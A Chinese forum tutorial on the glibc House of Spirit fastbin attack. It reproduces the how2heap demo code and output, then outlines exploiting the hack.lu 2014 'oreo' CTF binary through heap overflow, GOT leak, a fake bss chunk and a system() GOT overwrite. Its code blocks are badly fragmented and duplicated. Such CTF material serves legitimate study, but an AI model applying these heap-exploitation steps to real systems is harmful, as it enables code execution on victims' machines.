-
-
[原创]FastBin Attack:House of spirit attack
-
发表于: 2023-5-5 16:48 19145
-
该技术主要是将一块可控的内存精心构造(fake chunk),以欺骗free通过其检查,令堆管理器将我们构造的内存块视作堆的chunk,进入bins中。
house of spirit attack常常需要搭配其他攻击手段,也常常是攻击链条中的一环。我们以2014 hack.lu oreo作为例子展示一种house of spirit的攻击场景。
在此之前我们先通过how2heap的例子来说明应该如何精心构造内存才能通过free检查进入bins。
下面是how2heap中展示house of spirit attack的例子,代码如下。
这个例子展示了如何绕过free的检查使得我们构造的fake chunk能够进入bins,大部分都是构造一个fast chunk,这里也不例外。需要注意的是long fake_chunks[10] __attribute__ ((aligned (0x10)));
写法是告诉编译器给我的内存地址要是0x10对齐的。
这个例子将了进入fastbins有哪些检查,但我们可以发现主要是对size和chunk地址的检查。
下图展示了chunk块free后想要进入fastbins的流程,以及所经历的检查。
我们发现house of spirit的核心在于控制fake chunk和next chunk的size字段,而不在乎两个字段之间夹杂的内存。也就是说,只要我们可以任意写两块不相邻的内存,可以分别在两块内存构造size字段的值,在free后堆管理器会将这两段内存及其中间的内存视作一个chunk,而我们若可以通过malloc将这个伪造的chunk拿到,我们也就拿到了一块更大的连续内存。
经典的堆菜单题,基本信息如下。32位程序,RELRO和PIE都是完全关闭的,对了该题目使用的是2.23的libc,已经patch进去了。
程序是一个文字界面的购物菜单。Add可以增加步枪商品(创建和写堆块),show可以打印商品信息(读并打印堆块),Order函数可以清空购物订单(销毁所有堆块,free),Leave可以添加一个订单备注(往bss段写120字节),Stats函数可以打印本次购物的总体信息(读并打印几个bss段变量)。
程序的自定义结构体非常简单,可以很轻松的逆向出来,下面我主要对关键内存读写的部分进行追踪和分析。
下面结构体的每一个字段都有说明,主要是关于其读写说明,然后我也可以看到所有的订单都一个单链表的结构。
在add中可以创建Rifile结构体,其中desc和name字段在创建时有一次写入的机会,而在show函数中可以答应两个字段;在order函数中,会沿着next便利单链表逐一的free(next)。
下面是几个bss段变量。其中order_count在order函数中每free一个订单就会增加1,在stats中会被打印输出,即order_count是记录多少订单结算了。
obj_count每次add会增加1,调用order会清0,即obj_count是记录当前有多少订单,每次结算订单该变量都会清0。
order_note_ptr是一个指向bss段bss_write的指针,在leave中可以先bss_write写入最多120个字节,在stats中作为字符串指针打印。
漏洞在Add函数中。对Rifile结构体的name和desc字段都可以写入56字节,而两个字段的长度分别是27和25,已经发生了越界写,造成了堆溢出。这次越界写可以覆盖劫持next指针,劫持该指针可以通过调用show函数实现任意地址读。利用任意地址读,我们可以读got表泄露libc基地址。
显然这个时候若,我们想要getshell,必须要实现任意地址写。我们知道next指针指向的地方会视作Rifile结构体,在调用order函数时会尝试free我们劫持的next指针。如果我们劫持next指针至一块我们精心构造的fake chunk,那么我们就能立刻add对构造的fake chunk写入原本我们没办法写入的地方。
那么显然我们只能在bss段去寻找目标了。我们仍然记得bss段有一个指针order_note_ptr,这是一个可以方便的进行读写的指针(只需调用stats和leave函数)。如果我们能够劫持就能实现任意地址,于是我们想当然是观察order_note_ptr指针的前后,看有没有我们可控的内存块,可供我们构造fake chunk。
幸运的是,order_note_ptr上方四字节有一个obj_count变量,而这个变量我们可以通过调用add使其自增,而Rifle结构体的chunk是0x40,因此fake chunk size的值是0x40(实际应该是0x41,因为PREV_INUSE此时是1)。但是我们要观察一下,以order_note_ptr做为mem指针向上偏移8字节是chunk指针,是否是8字节对齐的。我们发现order_note_ptr的地址是0x0804A2A8,减去8字节是0x0804A2A0,是8字节对齐的,因此可以通过地址对齐检查。
而我们可以往bss_write处开始写120个字节,所幸order_note_ptr距离bss_write并不远,两者相距0x18个字节,在fake chunk size的范围内。那么next chunk size的值比2 * SIZE_SZ大一些即可。
我们构造完成fake chunk后调用order函数,全部free,此时fastbin 0x40第一个chunk就是fake chunk,我们直接add出来,然后就可以劫持order_onte_ptr指针实现任意地址写了。
现在我们实现任意地址写,并泄露了libc,我们利用house of spirit技术构造了fake chunk,并劫持了order_note_ptr指针实现了任意地址写,现在我们可以利用任意地址写劫持got表指针为system。并且代码中有一个绝佳的地方,是一个天然的shell。
如下图,如果我们劫持__isoc99_sscanf函数为system,那么我们可以很方便的控制变量s,进行RCE。
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main()
{
setbuf(stdout, NULL);
puts(
"This file demonstrates the house of spirit attack."
);
puts(
"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."
);
puts(
"Required primitives: known target address, ability to set up the start/end of the target memory"
);
puts(
"\nStep 1: Allocate 7 chunks and free them to fill up tcache"
);
void
*
chunks[
7
];
for
(
int
i
=
0
; i<
7
; i
+
+
) {
chunks[i]
=
malloc(
0x30
);
}
for
(
int
i
=
0
; i<
7
; i
+
+
) {
free(chunks[i]);
}
puts(
"\nStep 2: Prepare the fake chunk"
);
/
/
This has nothing to do with fastbinsY (do
not
be fooled by the
10
)
-
fake_chunks
is
just a piece of memory to fulfil allocations (pointed to
from
fastbinsY)
long
fake_chunks[
10
] __attribute__ ((aligned (
0x10
)));
printf(
"The target fake chunk is at %p\n"
, fake_chunks);
printf(
"It contains two chunks. The first starts at %p and the second at %p.\n"
, &fake_chunks[
1
], &fake_chunks[
9
]);
printf(
"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"
);
puts(
"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."
);
printf(
"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n"
, &fake_chunks[
1
]);
fake_chunks[
1
]
=
0x40
;
/
/
this
is
the size
printf(
"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"
);
printf(
"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n"
, &fake_chunks[
9
]);
fake_chunks[
9
]
=
0x1234
;
/
/
nextsize
puts(
"\nStep 3: Free the first fake chunk"
);
puts(
"Note that the address of the fake chunk must be 16-byte aligned.\n"
);
void
*
victim
=
&fake_chunks[
2
];
free(victim);
puts(
"\nStep 4: Take out the fake chunk"
);
printf(
"Now the next calloc will return our fake chunk at %p!\n"
, &fake_chunks[
2
]);
printf(
"malloc can do the trick as well, you just need to do it for 8 times."
);
void
*
allocated
=
calloc(
1
,
0x30
);
printf(
"malloc(0x30): %p, fake chunk: %p\n"
, allocated, victim);
assert
(allocated
=
=
victim);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main()
{
setbuf(stdout, NULL);
puts(
"This file demonstrates the house of spirit attack."
);
puts(
"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."
);
puts(
"Required primitives: known target address, ability to set up the start/end of the target memory"
);
puts(
"\nStep 1: Allocate 7 chunks and free them to fill up tcache"
);
void
*
chunks[
7
];
for
(
int
i
=
0
; i<
7
; i
+
+
) {
chunks[i]
=
malloc(
0x30
);
}
for
(
int
i
=
0
; i<
7
; i
+
+
) {
free(chunks[i]);
}
puts(
"\nStep 2: Prepare the fake chunk"
);
/
/
This has nothing to do with fastbinsY (do
not
be fooled by the
10
)
-
fake_chunks
is
just a piece of memory to fulfil allocations (pointed to
from
fastbinsY)
long
fake_chunks[
10
] __attribute__ ((aligned (
0x10
)));
printf(
"The target fake chunk is at %p\n"
, fake_chunks);
printf(
"It contains two chunks. The first starts at %p and the second at %p.\n"
, &fake_chunks[
1
], &fake_chunks[
9
]);
printf(
"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"
);
puts(
"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."
);
printf(
"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n"
, &fake_chunks[
1
]);
fake_chunks[
1
]
=
0x40
;
/
/
this
is
the size
printf(
"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"
);
printf(
"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n"
, &fake_chunks[
9
]);
fake_chunks[
9
]
=
0x1234
;
/
/
nextsize
puts(
"\nStep 3: Free the first fake chunk"
);
puts(
"Note that the address of the fake chunk must be 16-byte aligned.\n"
);
void
*
victim
=
&fake_chunks[
2
];
free(victim);
puts(
"\nStep 4: Take out the fake chunk"
);
printf(
"Now the next calloc will return our fake chunk at %p!\n"
, &fake_chunks[
2
]);
printf(
"malloc can do the trick as well, you just need to do it for 8 times."
);
void
*
allocated
=
calloc(
1
,
0x30
);
printf(
"malloc(0x30): %p, fake chunk: %p\n"
, allocated, victim);
assert
(allocated
=
=
victim);
}
This
file
demonstrates the house of spirit attack.
This attack adds a non
-
heap pointer into fastbin, thus leading to (nearly) arbitrary write.
Required primitives: known target address, ability to
set
up the start
/
end of the target memory
Step
1
: Allocate
7
chunks
and
free them to fill up tcache
Step
2
: Prepare the fake chunk
The target fake chunk
is
at
0x7ffd6b3df200
It contains two chunks. The first starts at
0x7ffd6b3df208
and
the second at
0x7ffd6b3df248
.
This chunk.size of this region has to be
16
more than the region (to accommodate the chunk data)
while
still falling into the fastbin category (<
=
128
on x64). The PREV_INUSE (lsb) bit
is
ignored by free
for
fastbin
-
sized chunks, however the IS_MMAPPED (second lsb)
and
NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the
next
malloc request rounded to the internal size used by the malloc implementation. E.g. on x64,
0x30
-
0x38
will
all
be rounded to
0x40
, so they would work
for
the malloc parameter at the end.
Now
set
the size of the chunk (
0x7ffd6b3df208
) to
0x40
so malloc will think it
is
a valid chunk.
The chunk.size of the
*
next
*
fake region has to be sane. That
is
>
2
*
SIZE_SZ (>
16
on x64) && < av
-
>system_mem (<
128kb
by default
for
the main arena) to
pass
the nextsize integrity checks. No need
for
fastbin size.
Set
the size of the chunk (
0x7ffd6b3df248
) to
0x1234
so freeing the first chunk can succeed.
Step
3
: Free the first fake chunk
Note that the address of the fake chunk must be
16
-
byte aligned.
Step
4
: Take out the fake chunk
Now the
next
calloc will
return
our fake chunk at
0x7ffd6b3df210
!
malloc can do the trick as well, you just need to do it
for
8
times.malloc(
0x30
):
0x7ffd6b3df210
, fake chunk:
0x7ffd6b3df210
This
file
demonstrates the house of spirit attack.
This attack adds a non
-
heap pointer into fastbin, thus leading to (nearly) arbitrary write.
Required primitives: known target address, ability to
set
up the start
/
end of the target memory
Step
1
: Allocate
7
chunks
and
free them to fill up tcache
Step
2
: Prepare the fake chunk
The target fake chunk
is
at
0x7ffd6b3df200
It contains two chunks. The first starts at
0x7ffd6b3df208
and
the second at
0x7ffd6b3df248
.
This chunk.size of this region has to be
16
more than the region (to accommodate the chunk data)
while
still falling into the fastbin category (<
=
128
on x64). The PREV_INUSE (lsb) bit
is
ignored by free
for
fastbin
-
sized chunks, however the IS_MMAPPED (second lsb)
and
NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the
next
malloc request rounded to the internal size used by the malloc implementation. E.g. on x64,
0x30
-
0x38
will
all
be rounded to
0x40
, so they would work
for
the malloc parameter at the end.
Now
set
the size of the chunk (
0x7ffd6b3df208
) to
0x40
so malloc will think it
is
a valid chunk.
The chunk.size of the
*
next
*
fake region has to be sane. That
is
>
2
*
SIZE_SZ (>
16
on x64) && < av
-
>system_mem (<
128kb
by default
for
the main arena) to
pass
the nextsize integrity checks. No need
for
fastbin size.
Set
the size of the chunk (
0x7ffd6b3df248
) to
0x1234
so freeing the first chunk can succeed.
Step
3
: Free the first fake chunk
Note that the address of the fake chunk must be
16
-
byte aligned.
Step
4
: Take out the fake chunk
Now the
next
calloc will
return
our fake chunk at
0x7ffd6b3df210
!
malloc can do the trick as well, you just need to do it
for
8
times.malloc(
0x30
):
0x7ffd6b3df210
, fake chunk:
0x7ffd6b3df210
cxing@cxing
-
virtual
-
machine:~
/
ctf
/
fastbin_attack$ checksec oreo
[
*
]
'/home/cxing/ctf/fastbin_attack/oreo'
Arch: i386
-
32
-
little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (
0x8046000
)
cxing@cxing
-
virtual
-
machine:~
/
ctf
/
fastbin_attack$ ldd oreo
linux
-
gate.so.
1
(
0xf7f29000
)
/
home
/
cxing
/
glibc
-
all
-
in
-
one
-
master
/
libs
/
2.23
-
0ubuntu3_i386
/
libc
-
2.23
.so (
0xf7d6d000
)
/
home
/
cxing
/
glibc
-
all
-
in
-
one
-
master
/
libs
/
2.23
-
0ubuntu3_i386
/
ld
-
2.23
.so
=
>
/
lib
/
ld
-
linux.so.
2
(
0xf7f2b000
)
cxing@cxing
-
virtual
-
machine:~
/
ctf
/
fastbin_attack$ checksec oreo
[
*
]
'/home/cxing/ctf/fastbin_attack/oreo'
Arch: i386
-
32
-
little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (
0x8046000
)
cxing@cxing
-
virtual
-
machine:~
/
ctf
/
fastbin_attack$ ldd oreo
linux
-
gate.so.
1
(
0xf7f29000
)
/
home
/
cxing
/
glibc
-
all
-
in
-
one
-
master
/
libs
/
2.23
-
0ubuntu3_i386
/
libc
-
2.23
.so (
0xf7d6d000
)
/
home
/
cxing
/
glibc
-
all
-
in
-
one
-
master
/
libs
/
2.23
-
0ubuntu3_i386
/
ld
-
2.23
.so
=
>
/
lib
/
ld
-
linux.so.
2
(
0xf7f2b000
)
cxing@cxing
-
virtual
-
machine:~
/
ctf
/
fastbin_attack$ .
/
oreo
Welcome to the OREO Original Rifle Ecommerce Online System!
,______________________________________
|_________________,
-
-
-
-
-
-
-
-
-
-
._ [____]
-
,__ __....
-
-
-
-
-
=
=
=
=
=
(_(||||||||||||)___________
/
|
`
-
-
-
-
-
-
-
-
-
-
' OREO [ ))"
-
, |
"" `, _,
-
-
....___ |
`
/
""""
What would you like to do?
1.
Add new rifle
2.
Show added rifles
3.
Order selected rifles
4.
Leave a Message with your Order
5.
Show current stats
6.
Exit!
Action:
1
Rifle name:
123
Rifle description:
123
Action:
2
Rifle to be ordered:
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
Name:
123
Description:
123
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
Action:
cxing@cxing
-
virtual
-
machine:~
/
ctf
/
fastbin_attack$ .
/
oreo
Welcome to the OREO Original Rifle Ecommerce Online System!
,______________________________________
|_________________,
-
-
-
-
-
-
-
-
-
-
._ [____]
-
,__ __....
-
-
-
-
-
=
=
=
=
=
(_(||||||||||||)___________
/
|
`
-
-
-
-
-
-
-
-
-
-
' OREO [ ))"
-
, |
"" `, _,
-
-
....___ |
`
/
""""
What would you like to do?
1.
Add new rifle
2.
Show added rifles
3.
Order selected rifles
4.
Leave a Message with your Order
5.
Show current stats
6.
Exit!
Action:
1
Rifle name:
123
Rifle description:
123
Action:
2
Rifle to be ordered:
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
Name:
123
Description:
123
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
Action:
typedef struct _Rifile {
char desc[
25
];
/
/
write on add (only one time),
print
on show
char name[
27
];
/
/
write on add (only one time),
print
on show
/
/
0x34
Rifile
*
next
;
/
/
can cover on add,
and
free(
next
) on order
}Rifile;
/
/
fastbin chunk
0x40
,
and
write out of bounds